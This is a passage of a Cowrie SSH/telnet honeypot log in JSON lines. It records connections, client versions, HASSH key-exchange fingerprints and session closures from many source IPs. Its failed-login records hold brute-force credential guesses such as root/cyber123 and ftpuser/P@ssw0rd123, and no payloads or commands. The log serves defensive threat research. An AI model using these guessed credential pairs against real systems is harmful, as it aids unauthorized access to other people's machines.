01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:34:06.493715Z","src_ip":"80.66.85.226","session":"3c660c485fd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"13971397","message":"login attempt [root/13971397] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:34:06.752496Z","src_ip":"80.66.85.226","session":"3c660c485fd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:34:07.840487Z","src_ip":"80.66.85.226","session":"3c660c485fd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.727933645248413,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:34:31.142466Z","src_ip":"102.37.220.188","session":"7ebfdcaf1c4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":45890,"dst_ip":"159.203.135.109","dst_port":23,"session":"38574a23a731","protocol":"telnet","message":"New connection: 128.199.8.54:45890 (159.203.135.109:23) [session: 38574a23a731]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:34:47.625087Z"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":36988,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebf2b3655c3d","protocol":"ssh","message":"New connection: 72.17.34.38:36988 (10.17.0.5:22) [session: ebf2b3655c3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:35:06.467662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:35:06.473716Z","src_ip":"72.17.34.38","session":"ebf2b3655c3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:35:06.511426Z","src_ip":"72.17.34.38","session":"ebf2b3655c3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cyber123","message":"login attempt [root/cyber123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:35:06.692041Z","src_ip":"72.17.34.38","session":"ebf2b3655c3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:35:07.733669Z","src_ip":"72.17.34.38","session":"ebf2b3655c3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.107.217.244","src_port":51811,"dst_ip":"159.203.135.109","dst_port":22,"session":"164561644918","protocol":"ssh","message":"New connection: 211.107.217.244:51811 (159.203.135.109:22) [session: 164561644918]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:35:37.218307Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:35:37.464475Z","src_ip":"211.107.217.244","session":"164561644918","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.960285663604736,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:35:51.585249Z","src_ip":"128.199.8.54","session":"38574a23a731","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":39984,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6376ee7c653","protocol":"telnet","message":"New connection: 94.23.66.112:39984 (10.17.0.5:23) [session: b6376ee7c653]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:35:56.772881Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.37.220.188","src_port":44702,"dst_ip":"159.203.135.109","dst_port":23,"session":"8408d9eb6f1a","protocol":"telnet","message":"New connection: 102.37.220.188:44702 (159.203.135.109:23) [session: 8408d9eb6f1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:36:22.525522Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":38724,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc163e46f0e1","protocol":"ssh","message":"New connection: 80.94.92.184:38724 (159.203.135.109:22) [session: fc163e46f0e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:36:42.476819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:36:42.481323Z","src_ip":"80.94.92.184","session":"fc163e46f0e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:36:42.932202Z","src_ip":"80.94.92.184","session":"fc163e46f0e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:36:44.125150Z","src_ip":"80.94.92.184","session":"fc163e46f0e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":36424,"dst_ip":"159.203.135.109","dst_port":22,"session":"01c82f4e6ea2","protocol":"ssh","message":"New connection: 194.113.233.25:36424 (159.203.135.109:22) [session: 01c82f4e6ea2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:36:45.810147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:36:45.816465Z","src_ip":"194.113.233.25","session":"01c82f4e6ea2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:36:45.913891Z","src_ip":"194.113.233.25","session":"01c82f4e6ea2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"230592","message":"login attempt [root/230592] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:36:46.187484Z","src_ip":"194.113.233.25","session":"01c82f4e6ea2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:36:46.341421Z","src_ip":"80.94.92.184","session":"fc163e46f0e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:36:47.279495Z","src_ip":"194.113.233.25","session":"01c82f4e6ea2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.95088529586792,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:36:59.476299Z","src_ip":"102.37.220.188","session":"8408d9eb6f1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":46482,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9d351427f92","protocol":"ssh","message":"New connection: 72.17.34.38:46482 (10.17.0.5:22) [session: d9d351427f92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:37:03.693116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:37:03.702459Z","src_ip":"72.17.34.38","session":"d9d351427f92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:37:03.751017Z","src_ip":"72.17.34.38","session":"d9d351427f92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"P@ssw0rd123","message":"login attempt [ftpuser/P@ssw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:37:03.932223Z","src_ip":"72.17.34.38","session":"d9d351427f92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:37:04.979487Z","src_ip":"72.17.34.38","session":"d9d351427f92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.02357029914856,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:37:56.796237Z","src_ip":"94.23.66.112","session":"b6376ee7c653","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":59994,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb5bc6d1de05","protocol":"ssh","message":"New connection: 27.71.230.31:59994 (10.17.0.5:22) [session: eb5bc6d1de05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:38:34.048508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:38:34.052550Z","src_ip":"27.71.230.31","session":"eb5bc6d1de05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:38:34.297182Z","src_ip":"27.71.230.31","session":"eb5bc6d1de05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:38:36.590119Z","src_ip":"27.71.230.31","session":"eb5bc6d1de05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:38:38.452333Z","src_ip":"27.71.230.31","session":"eb5bc6d1de05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":50910,"dst_ip":"159.203.135.109","dst_port":23,"session":"69d2868672f1","protocol":"telnet","message":"New connection: 128.199.8.54:50910 (159.203.135.109:23) [session: 69d2868672f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:38:41.057070Z"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":55988,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae640b7df3d1","protocol":"ssh","message":"New connection: 72.17.34.38:55988 (10.17.0.5:22) [session: ae640b7df3d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:38:58.752043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:38:58.756572Z","src_ip":"72.17.34.38","session":"ae640b7df3d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:38:58.792425Z","src_ip":"72.17.34.38","session":"ae640b7df3d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kh","password":"kh","message":"login attempt [kh/kh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:38:58.963317Z","src_ip":"72.17.34.38","session":"ae640b7df3d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:39:00.001266Z","src_ip":"72.17.34.38","session":"ae640b7df3d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.184.67","src_port":38720,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2d1328210d0","protocol":"ssh","message":"New connection: 186.233.184.67:38720 (10.17.0.5:22) [session: c2d1328210d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:39:18.031390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:39:18.035910Z","src_ip":"186.233.184.67","session":"c2d1328210d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:39:18.074421Z","src_ip":"186.233.184.67","session":"c2d1328210d0","protocol":"ssh"}
